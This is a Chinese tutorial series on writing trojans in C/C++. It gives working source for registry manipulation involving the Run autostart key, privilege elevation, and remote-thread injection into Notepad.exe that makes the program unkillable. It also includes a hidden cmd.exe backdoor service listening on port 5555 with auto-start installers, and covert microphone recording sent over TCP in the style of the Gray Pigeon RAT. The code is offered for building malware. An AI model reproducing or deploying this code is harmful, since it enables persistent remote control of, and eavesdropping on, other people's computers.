KeySize=KeyMaxLen+1; //因为RegQueryInfoKey得到的长度不包括0结束字符,所以应加1
szKeyName=(char*)malloc(KeySize);
/**//*参数定义请参照获取子键/键值信息部分...*/
RegEnumKeyEx(hKey,dwIndex,szKeyName,&KeySize,NULL,NULL,NULL,NULL);//枚举子键
printf(szKeyName);
}
最后需要注意的是在每次调用RegEnumKeyEx前必须重新将KeySize的值设为KeyMaxLen缓冲区的大小,因为每次函数返回时
KeySize的值会变成返回的键值的名称长度,随着循环次数这个值会变小,而可能出现无法枚举所有键值项的情况.
枚举键值信息
枚举键值信息的方法与枚举子键信息极为相似,可以用RegEnumValue函数实现,其函数原型如下:
RegEnumValue(
hkey, //被枚举的键句柄
dwIndex, //子键索引编号
lpValueName, //键值名称
lpcbValueName, //键值名称长度
lpReserved, //系统保留,指定为0
lpType, //键值数据类型
lpDate, //键值数据
lpcbDate //键值数据长度
)
其实现代码如下:
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //枚举键值
...{
DateSize=MaxDateLen+1;
NameSize=NameMaxLen+1;
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DateSize);
/**//*参数定义请参照获取子键/键值信息部分...*/
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DateSize);//读取键值
if(Type==REG_SZ)
...{
/**//*判断键值项类型并做其它操作......*/
}
if(Type==REG_DWORD)
...{
}
}
与枚举子键相似,在每次循环中应该重新设置 数据长度DateSize=MaxDateLen+1键值名称长度NameSize=NameMaxLen+1
创建/删除子键
创建子键跟打开子键差不多,要以用RegCreateKeyEx函数来实现,其原型如下
RegCreateKeyEx(
hkey, //父键句柄
lpSubKey, //子键句柄
Reserved, //系统保留,指定为0
lpClass, //定义子键类名,通常设为NULL
dwOptions, //创建子键时的选项
samDesired, //创建后操作权限
lpSecurityAttributes, //指向SECURITY_ATTRIBUTES结构,指定键句柄的继承性
phkResult, //返回创建句柄
lpdwDisposition //通常设为NULL
)
个人感觉这个API 罗哩罗嗦不好使大多参数在大多数时候都放NULL,还不如16位下的API函数RegCreateKey用着方便
其实例代码如下:
HKEY KEY;
if (ERROR_SUCCESS!=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey",&KEY))
...{
MessageBox("创建失败!");
}else
...{
MessageBox("创建成功!");
}
嘿嘿 是不是简单多了?
不关什么事破坏总比创建要容易,删除一个键可以用RegDeleteKey()实现,它有两个参数原型如下
RegDeleteKey(
hkey, //主键句柄
lpSubKey, //子键名称字符串
)
如果想删除上面创建的MyKey子键可以用下面的代码实现:
if(ERROR_SUCCESS==RegDeleteKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey"))
...{
AfxMessageBox("删除成功!");
}else
...{
AfxMessageBox("删除失败!");
}
需要注意的是 在创建子键时可以创建多级子键,比如
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\MyKey1\MyKey2",&KEY)
如果MyKey1不存在的话那么它将先创建MyKey1再创建MyKey2,这一点与文件系统中创建目录是不同的
但是删除的时候却不能删除多级子键比如我想删除MyKey1那么我必须先删除MyKey2才可以,不过一个子键下面的多个键值
可以一次删除.
木马编程DIY之注册表管理 文/图 冷风
创建/删除键值项
创建键值可以用RegSetValueEx函数来实现,它的原型如下:
RegSetValueEx(
hkey, //键句柄,键值项将保存在此键下
lpValueName, //键值项名称
Reserved, //系统保留,指定为0
dwType, //键值项类型
lpDate, //键值项数据
cbDate //键值项长度
)
使用这个函数的时个有一点需要注意,其中参数lpDate和cbDate的值要跟据dwType的值来设定,按常用设置我们分三种情况
1当dwType为REG_SZ时,这时跟通常一样,lpDate为要设置的数据, cbDate为数据的长度
2当dwType为REG_DWORD 时,cbDate应该设为4,为什么?因为不设为4就不对
3当dwType为REG_BINARY 时,cbDate也应该设为4,没有为什么了吧呵呵
如果调用时,键值项名称以经存在了会怎么样呢?答案是:覆盖 用新的键值项数据覆盖原来的,如果没有就新建一个
我们来看一下实现功能的实例代码:
void CreateValue::OnCreate()
...{
HKEY key;
UpdateData(true);
if(m_type=="REG_SZ")
...{
if(RegOpenKeyEx(MKEY,SubKey,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
...{
if(::RegSetValueEx(key,m_name,0,REG_SZ,(const unsigned char *)m_date,MAX_PATH)==ERROR_SUCCESS)
...{
MessageBox("创建成功!");
}
}
}
if(m_type=="REG_DWORD")
...{
if(RegOpenKeyEx(MKEY,SubKey,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
...{
if(::RegSetValueEx(key,m_name,0,REG_DWORD,(const unsigned char *)m_date,4)==ERROR_SUCCESS)//注意数据长度应该设为4
...{
MessageBox("创建成功!");
}
}
}
/**//*其它类型的设置......*/
}
删除键值可以用RegDeleteValue来实现它的函数原型如下
RegDeleteValue(
hkey, //父键句柄
lpValueName //要删除的键值项名称
)
其实例代码如下:
HKEY key;
char value[MAX_PATH]="LengFeng" //键值
LPCTSTR data="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";//路径
RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_WRITE,&key); //打开
if(ERROR_SUCCESS==::RegDeleteValue(key,value)) //删除
...{
MessageBox("删除成功!");
}
备份/恢复注册表
备份和恢复注册表相对来说用的不是太多,我在程序中也没有加入这项功能,但为了这这篇文章完整一些,就用一个运行在CONSOLE
下的小程序来讨论一下它们的实现
备份注册表可以用RegSaveKey函来实现 它的原形如下
RegSaveKey(
hkey, //要备份的键句柄
lpFile, //保存信息的文件名称
lpSecurityAttributes //文件安全属性
)
hkey为要备份的键句柄,可以是系统预定义的,也可以是用RegOpenKey()打开或是RegCreateKeyEx()创建的
lpFile为保存信息的文件名称,注意这个文件必须是不存在的,而且也不能有扩展名(否则RegRestoreKey()函无法读取)
lpSecurityAttributes,它在NT系统中用来设置新文件的安全属性,通常设置为NULL
在使用这个函数时需要有SE_BACKUP_NAME权限,而这个权限是不可以在RegOpenKey()或是RegCreateKeyEx()指定的
要做到这一点我们需要提升自己的权限,其具体实现如下代码如示:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void main()
...{
char strKey[]="Software\Microsoft\Internet Explorer";
LPTSTR szSaveFileName;
HKEY key;
// 申请备份权限
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
return;
LookupPrivilegeValue(NULL,SE_BACKUP_NAME,&tkp.Privileges[0].Luid);//申请SE_BACKUP_NAME权限
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
//开始备份工作
szSaveFileName=LPTSTR("D:\KeyDate"); //注意文件不可存在否则无法成功
RegOpenKeyEx(
HKEY_CURRENT_USER,
(LPCTSTR)strKey,
0,
KEY_ALL_ACCESS,
&key);
RegSaveKey(key,szSaveFileName, NULL);
RegCloseKey(key);
}
上面用到了提升权限的代码,以前杂志上面有很多可以参考一下来看,这样备份就完成了.而恢复可以用函数RegRestoreKey来实现
它的原形如下
RegRestoreKey(
hkey, //要恢复的键句柄
lpFile, //保存信息的文件名称
dwFlage //标志是否易失
)
此函数的前两个参数可以与RegSaveKey相同,而参数dwFlage为TRUE的话是暂时恢复注册表,如果为FALSE则是永久修改注册表值.同样需要
注意的是使用这个函数需要有SE_RESTORE_NAME权限
第7篇之线程守护
要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动,这个过程我简单画了一个图如图1所示
跟据图示1我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序,本程序完成的功能是把监视代码插入到Notepad.exe进程
以监视程序本身,如果自身被关闭,Notepad.exe进程将重新启动自身程序,以达到不死的效应,以下代码在VC6中编译通过
现在我们重新整理一下思路,首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神,保护神通过用WaitForSingleObject
函数来检测句柄来判断要保护的进程是否结束,如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现
1.检测并保护程序的远程线程代码
因为保护自己的代码要注入到Notepad.exe进程,而执行在远程线程代码的API都需要重新定位,为解决这个问题我们定义如下的结构
代码:
typedef struct _remoteparameter
{
DWORD rpWaitForSingleObject;
DWORD rpOpenProcess;
DWORD rpWinExec;
DWORD rpProcessPID;
HANDLE rpProcessHandle;
char path[MAX_PATH];
}REMOTEPARAM;
这个结构中包的前三项为远程线程中需要使用的API函数, rpProcessPID为要保护的进程PID,rpProcessHandle用来保存要保护进程的句柄
path为当程序被关闭时需要启动的程序路径。远程线程函数如下
代码:
DWORD WINAPI remote(LPVOID pvparam)
{
REMOTEPARAM *rp=(REMOTEPARAM*)pvparam; //传递进来的信息
typedef UINT (WINAPI *EWinExec) (LPCSTR, UINT);
typedef HANDLE (WINAPI *EOpenProcess) (DWORD, BOOL, DWORD);
typedef DWORD (WINAPI *EWaitForSingleObject) (HANDLE, DWORD);
EWinExec tWinExec;
EOpenProcess tOpenProcess;
EWaitForSingleObject tWaitForSingleObject;
tOpenProcess =(EOpenProcess)rp->rpOpenProcess;
tWaitForSingleObject =(EWaitForSingleObject)rp->rpWaitForSingleObject;
tWinExec =(EWinExec)rp->rpWinExec;
rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//打开要保护的进程
tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保护的进程是否结束
tWinExec(rp->path, SW_SHOW);//如果结束就重新启动程序
return 0;
}
2.将remote函数代码注入Notepad.exe进程并启动
这里为了方便我定义成了一个函数,使用时只要提供要注入的进程名称就可以完成线程守护的功能,它的返回值是远程线程的句柄
其实现如下:
代码:
HANDLE CreateRemoteThreadProc(char* ProcessName)
{
HANDLE ThreadHandle;
char FilePath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH);//得到文件所在路径
int procID=processtopid(ProcessName);
printf("The process pid is %d\n",procID);
HINSTANCE hkernel32;
HANDLE rphandle;
char *remotethr;
char *remotepar;
int cb;
rphandle=OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE,procID);
if(rphandle==NULL)
{
printf("Open Remote Process is Error\n");
}
else
{
printf("open process is ok\n");
}
/*****************************************************************/
/*将远程线程函数代码拷入目标进程*/
/*****************************************************************/
cb=sizeof(char)*4*1024;
remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(remotethr==NULL)
{
printf("VirtualAllocEx for Thread Error\n");
CloseHandle(rphandle);
}
else
printf("VirtualAllocEx is ok\n");
if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE)
{
printf("WriteProcessMemory for Thread Error\n");
CloseHandle(rphandle);
}
else
printf("WriteProcessMemory is ok\n");
/*****************************************************************/
/*将远程线程函数参数拷入目标进程*/
/*这里需要重定位远程线程需要的API*/
/*****************************************************************/
REMOTEPARAM rp;
memset((char*)&rp,0,sizeof(rp));
hkernel32=GetModuleHandle("kernel32.dll");
if(hkernel32==NULL)
{
printf("hKernel32 is Error\n");
}
rp.rpProcessPID =GetCurrentProcessId();
rp.rpOpenProcess =(DWORD)GetProcAddress(hkernel32,"OpenProcess");
rp.rpWinExec =(DWORD)GetProcAddress(hkernel32,"WinExec");
rp.rpWaitForSingleObject=(DWORD)GetProcAddress(hkernel32,"WaitForSingleObject");
_tcscpy(rp.path,FilePath);
cb=sizeof(char)*sizeof(rp);
remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
if(remotepar==NULL)
{
printf("VirtualAllocEx for Parameter Error\n");
CloseHandle(rphandle);
}
if(WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL)==FALSE)
{
printf("WriteProcessMemory for Parameter Error\n");
CloseHandle(rphandle);
}
/*****************************************************************/
/*将远程线程注入目标进程*/
/*****************************************************************/
ThreadHandle=CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
if(ThreadHandle==NULL)
{
printf("CreateRemotThreadHandle Error\n");
CloseHandle(rphandle);
}
else
printf("CreateRemotThreadHandle is ok\n");
return ThreadHandle;
}
3.其它自定义函数实现
其实CreateRemoteThreadProc函数就是最关键的实现了,最后介绍一个这个函数中的两个自己定义函数
代码:
DWORD processtopid(char *processname)//跟据进程名称取PID值
{
DWORD lpidprocesses[1024],cbneeded,cprocesses;
HANDLE hprocess;
HMODULE hmodule;
UINT i;
TCHAR normalname[MAX_PATH]=("UnknownProcess");
if(!EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded))
{
return -1;
}
cprocesses=cbneeded/sizeof(DWORD);
for(i=0;i<cprocesses;i++)
{
hprocess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
if(hprocess)
{
if(EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded))
{
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
if(!strcmp(normalname,processname))
{
CloseHandle(hprocess);
return (lpidprocesses[i]);
}
}
}
}
CloseHandle(hprocess);
return 0;
}
代码:
BOOL EnablePriv()//提升进程权限
{
HANDLE hToken;
if ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken) )
{
TOKEN_PRIVILEGES tkp;
LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid ); //修改进程权限
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL ); //通知系统修改进程权限
}
return 0;
}
4.主函数的实现
功能都实现了主函数相对十分简单其代码如下:
代码:
int main(int argc, char* argv[])
{
HANDLE RemoteThreadHandle;
EnablePriv();
RemoteThreadHandle=CreateRemoteThreadProc("Notepad.exe");//注入进程
WaitForSingleObject(RemoteThreadHandle,INFINITE);//等待结束
return 0;
}
5.测试程序效果
测试打开本文所属的程序,测试会发现通过结束进程等方法无法关闭本程序,这是因为程序被关闭后Notepad.exe程序会重新启动它
如果想关闭程序,只要先结束Notepad.exe就可以了
第8篇服务启动技术
随意打开一个木马的服务生成端,你都能发现里面有一种启动方式叫“服务启动”,也就是说这个技术以经是大众化的了,但是你写过这样的程序吗?如果写过的话,你就可以泡杯茶先休息一下,如果还不是太了解的话,那就一块来学习一下
通常编写一个服务需要两个程序,一个是实现功能的Service程序,一个是用于对Service程序进行控制的控制程序。这里需要注意的是实现
Service功能的程序与一般的程序是有区别的,其区别并不仅仅在于是不是有GUI窗体,在其格式上也有着不同,下面我们先写一个CmdShell
后门的Service程序。
对于Service程序来说,它一般又由以下四部分组成:main(),ServiceMain()和Handler()当然还有我们的功能实现函数比如MyWork()
它们之间的关系,用一个简单的图示就可以了然于胸了如图示1,其服务程序的基本流程就是由main()调用ServiceMain()而由ServiceMain()
调用Handler()和执行功能函数MyWork()到现在为止,你以经大体了解了服务程序的流程,按上面的流程一步一步来实现这个后门程序。
[attach]1870[/attach]
1.程序的入口main()函数
服务程序的入口与普通程序一样也是从main()开始,但不同的是服务程序的main极为简单,因为它只负责创建分派表并启动控制分派机,其代码如下:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "Name";//线程名字
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;//线程入口地址
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;//最后一个必须为NULL
StartServiceCtrlDispatcher(ServiceTable);// 启动服务的控制分派机线程
}
main()是Service程序的主线程,当servie control manager开始一个Service进程时,它总是等待这个Service程序去调用StartServiceCtrlDispatcher()函数。
当执行服务时main()时将会调用ServiceMain函数,当ServiceMain执行完毕或者说发生错误时StartServiceCtrlDispatcher函数返回,然后主进程终止。
2. 服务的真正入口ServiceMain()
ServiceMain()是Service程序的真正入口点,它主要完成以下功能,首先注册一个Handler去处理控制程序或控制面板,Service的控制要求,比如 启动,停止,暂停
重起等,其次就是实现我们的功能操作,其实现代码如下:
VOID WINAPI ServiceMain( DWORD dwArgc, LPTSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//调用RegisterServiceCtrlHandler()注册一个ServiceHandler函数用来处理程序对Service的控制要求
hStatus = RegisterServiceCtrlHandler("ServiceName",(LPHANDLER_FUNCTION)ServiceHandler);
if (hStatus==0)
return;
// Handle error condition
status = GetLastError();
if (status!=NO_ERROR)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatus.dwWin32ExitCode = status;
ServiceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
// Initialization complete - report running status
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(hStatus, &ServiceStatus);
//启动自己的工作线程
HANDLE hThread=CreateThread(NULL,0,mainfun,NULL,0,NULL);
if(hThread==NULL)
return;
}
在ServiceMain中通过RegisterServiceCtrlHandler注册一个ServiceHandler函数用来处理程序对Service的控制要求其ServiceHandler函数的实现代码如下:
3.ServiceHandler()函数
当你打开服务管理器,启动或者停止一个服务的时候,对你的操作进行响应的就是ServiceHandler()函数,它会判断你的操作然后做出响应其实现代码如下:
VOID WINAPI ServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(hStatus,&ServiceStatus);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus(hStatus,&ServiceStatus);//设置状态
return ;
}
到现在,服务的主要三个函数就算完工了,下面就是我们实现CmdShell后的代码了
4.功能实现函数
这是一个简单的双管道的CmdShell服务端,运行后可以使用Telnet ip 5555进行连接,成功后会得到一个SHELL
其实现代码如下:
DWORD WINAPI mainfun(LPVOID lpParam)
{
WSADATA wsadata;
SOCKET server;
SOCKET client;
SOCKADDR_IN serveraddr;
SOCKADDR_IN clientaddr;
int port=5555;
WORD ver=MAKEWORD(2,2); //判断winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
listen(server,5);
int len=sizeof(clientaddr);
client=accept(server,(sockaddr *)&clientaddr,&len);
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
SECURITY_ATTRIBUTES saPipe;
STARTUPINFO lpStartupInfo;
PROCESS_INFORMATION lpProcessInfo;
char szBuffer[65535];
DWORD dwBufferRead;
int ret;
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
//create read and write pipe
CreatePipe(&hReadPipe, &hReadShell, &saPipe, 0);
CreatePipe(&hWriteShell, &hWritePipe, &saPipe, 0);
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
lpStartupInfo.lpDesktop = "WinSta0\\Default";
char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,"\\cmd.exe");
ret = CreateProcess(cmdline, NULL, NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
while(1)
{
ZeroMemory(szBuffer, sizeof(szBuffer));
PeekNamedPipe(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL,NULL);
if(dwBufferRead != 0)
{
ret = ReadFile(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL);
if(ret)
{
printf("The ReadFile Buffer is %s:\n",szBuffer);
EmptyPipe(hReadPipe);
}
}
else
{
ZeroMemory(szBuffer, sizeof(szBuffer));
ret = recv(client,szBuffer,sizeof(szBuffer),0);
if(ret == SOCKET_ERROR)
{
printf("SOCKET_ERROR\n");
break;
}
if(ret >0)
{
WriteFile(hWritePipe, szBuffer, ret, &dwBufferRead, 0);
}
}
Sleep(100);
}
WriteFile(hWritePipe, "exit\r\n", (DWORD)strlen("exit\r\n"), &dwBufferRead, 0);
return 0;
}
void EmptyPipe(HANDLE hReadPipe1)
{
BOOL ret;
DWORD bytesRead;
char *buffer=new char [1024];
while(true)
{
memset(buffer,0,1024);
ret=PeekNamedPipe(hReadPipe1,buffer,1024,&bytesRead,0,0);
if (bytesRead==0||!ret)
{
delete buffer;
return;
}
ReadFile(hReadPipe1,buffer,bytesRead,&bytesRead,0);
}
}
到现在为止服务程序就完成了,下面分别写两个小程序用来安装和删除服务.
5.安装服务程序
#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
main()
{
char name[100];
char info[200];
char path[300];
printf("请输入服务名\n\n");
scanf ("%s",&name);
printf("请输入服务描述\n\n");
scanf ("%s",&info);
printf("请输入程序路径\n\n");
scanf ("%s",&path);
SC_HANDLE manager=NULL;
SC_HANDLE service=NULL;
if((manager=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error");
}
service=CreateService(
manager,name,info,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path, 0, 0, 0, 0, 0 );
if(service)
printf("服务创建成功\n\n");
else
printf("服务创建失败\n\n");
CloseServiceHandle(service);
CloseServiceHandle(manager);
}
6.删除服务程序
#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
void main()
{
char name[100];
SC_HANDLE scm;
SC_HANDLE service;
SERVICE_STATUS status;
printf("请输入要删除的服务名\n\n");
scanf ("%s",&name);
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
printf("OpenSCManager Error\n");
}
service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
if (!service)
{
printf("OpenService error!\n");
return;
}
BOOL isSuccess=QueryServiceStatus(service,&status);
if (!isSuccess)
{
printf("QueryServiceStatus error!\n");
return;
}
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!isSuccess )
printf("Stop Service error!\n");
Sleep( 500 );
}
isSuccess=DeleteService(service);
if (!isSuccess)
printf("删除服务失败!\n");
else
printf("删除服务成功!\n");
CloseServiceHandle(service );
CloseServiceHandle(scm);
}
关于创建与删除服务这里并没有做详细的介绍,如果你需要的话可以参考07年3月份的杂志,编程栏目《木马编程DIY之系统服务》一文,现在用安装程序把服务
装好,重起你的电脑后,就可以用 Telnet 127.0.0.1 5555来连接执行命令了,如果你打算编写服务程序的话就直接改源代码的工作线程部分好了,相信会方便
不少
第9篇之语音控制
灰鸽子有个功能就是语音控制,在打游戏时我把它当语音电话用,效果出奇的好。编程思路:
对语音控制思路为:先在服务端录音然后通用网络传输最后在客户端播放,下面我们分别讨论录音,传输,放音的实现步骤
录音实现:
对计算机录音我们可以使用一系列API,简单过程如下
waveInOpen 打开录音设备
waveInPrepareHeader 准备录音缓冲区
waveInAddBuffer 将缓冲区加入队列
waveInStart 开始录音
waveInUnPrepareHeader 释放录音缓冲区
waveInReset 停止录音
waveInClose 关闭录音设备
放音实现:
对计算机放音,简单过程如下
waveOutOpen 打开回放设备
waveOutPrepareHeader准备放音缓冲区
waveOutWrite 开始播放
waveOutRest 停止放音
waveOutClose 关闭回放设备
放音与录音相差无几,在后面的实例中将详细说明它的的使用
文件传输:
对于未经压缩处理的音频数据,它的体积是相当壮观的,对音频数据有效的压缩可以提高传输效率,为了方便本文没有对
数据进行压缩,而直接使用TCP进行传输
连续录/放音实现方法:
为了实现声音的平滑播放,在录放音时通常准备两个以上的缓冲区,当一个缓冲区用完后,将发出一个结束消息,并自动
转入下个缓冲区。当录音完成时会发出一个 MM_WIM_DATA消息,当放音完成时会发出一个MM_WOM_DONE消息。
两个重要的结构:
1.声音采样格式
原形如下:
typedef struct {
WORD wFormatTag; //数据格式,一般为WAVE_FORMAT_PCM即脉冲编码
WORD nChannels; //声道
DWORD nSamplesPerSec; //采样频率
DWORD nAvgBytesPerSec; //每秒数据量
WORD nBlockAlign;
WORD wBitsPerSample; //样本大小
WORD cbSize;
} WAVEFORMATEX;
对于这个结构我们通常使用默认或固定的值
2.音频数据块缓存结构WAVEHDR
其声明如下:
type struct{
LPSTR lpData; //指向锁定的数据缓冲区的指针
DWORD dwBufferLength; //数据缓冲区的大小
DWORD dwByteRecorded; //录音时指明缓冲区中的数据量
DWORD dwUser; //用户数据
DWORD dwFlag; //提供缓冲区信息的标志
DWORD dwLoops; //循环播放的次数
struct wavehdr_tag *lpNext; //保留
DWORD reserved; //保留
} WAVEHDR;
声音的采集和播放都要使用这个音频数据块结构,实际上主要用到的就是第一个成员变量lpData和第二个成员变量dwBufferLength。
相关AIP的使用:
waveInOpen的原型如下
MMRESULT waveInOpen(
LPHWAVEIN phwi, //输入设备句柄一个指向HWAVEIN的指针
UINT uDeviceID, //输入设备ID
LPWAVEFORMATEX pwfx, //录音格式指针
DWORD dwCallback, //处理MM_***消息的回调函数或窗口句柄
DWORD dwCallbackInstance,
DWORD fdwOpen //处理消息方式的符号位
);
在打开录音设置后就要指定录音缓冲区
它原形如下:
MMRESULT waveInPrepareHeader(
HWAVEIN hwi,
LPWAVEHDR pwh,
UINT cbwh
);
其中HWAVEIN hwi为我们上面用waveInOpen打开的句柄,pwh为音频数据块缓存结构WAVEHDR。
其它的操作都比较简单就不再一一说明了,可参照MSDN使用。
服务端实现:
在开始前我们需要加载winmm.lib库和 mmsystem.h头文件
#include <mmsystem.h>
#pragma comment(lib,"winmm")
在开始录音按钮上添加如下代码:
m_RecStart.EnableWindow(false); //停用录音按钮
m_RecStart.SetWindowText("录音中..."); //改变按钮文字
m_exit.SetFocus(); //设置焦点按钮
wavehdr=reinterpret_cast<PWAVEHDR>(malloc(sizeof(WAVEHDR)));
//录音采样格式
waveform.wFormatTag=WAVE_FORMAT_PCM;
waveform.nChannels=1;
waveform.nSamplesPerSec=11025;
waveform.nAvgBytesPerSec=11025;
waveform.nBlockAlign=1;
waveform.wBitsPerSample=8;
waveform.cbSize=0;
//设定缓冲结构
wavehdr->lpData=(LPTSTR)buffer;
wavehdr->dwBufferLength=BUFFER_SIZE;
wavehdr->dwBytesRecorded=0;
wavehdr->dwUser=0;
wavehdr->dwFlags=0;
wavehdr->dwLoops=1;
wavehdr->lpNext=NULL;
wavehdr->reserved=0;
//打开录音设备函数
if (waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)this->m_hWnd,NULL,CALLBACK_WINDOW))
{
AfxMessageBox("Audio can not be open!");
}
for(int i=0;i<2;i++)//加入2个缓冲区
{
//为录音设备准备缓冲区
waveInPrepareHeader(hWaveIn,wavehdr,sizeof(WAVEHDR));
//给输入设备增加一个缓存
waveInAddBuffer (hWaveIn, wavehdr, sizeof (WAVEHDR)) ;
}
waveInStart (hWaveIn) ;//开始录音
当缓存录满后系统将发出MM_WIM_DATA消息,我们添加消息处理函数,当收到MM_WIM_DATA消息时就将数据发给
客户端处理,对于添加消息的方法可以参考一下VC教程。在MM_WIM_DATA消息中发送数据代码如下:
void CCCDlg::OnMM_WIM_DATA(UINT wParam,LONG lParam)//录音完成
{
//释放录音缓冲区
waveInUnprepareHeader(hWaveIn,wavehdr,sizeof(WAVEHDR));
//拷贝录音数据
CopyMemory(buffer,wavehdr->lpData,wavehdr->dwBufferLength);
//调用函数发送数据
SendBuffer(buffer);
//重新准备缓冲区
waveInPrepareHeader(hWaveIn,wavehdr,sizeof(WAVEHDR));
//重新加入缓冲区
waveInAddBuffer (hWaveIn, wavehdr, sizeof (WAVEHDR)) ;
}
当录音完成后系统会自动转入下个缓冲区,继续录音,我们就释放录音缓冲区,然后拷贝数据,最后重新加入缓冲区,这样就实现了对声音的循环录制。
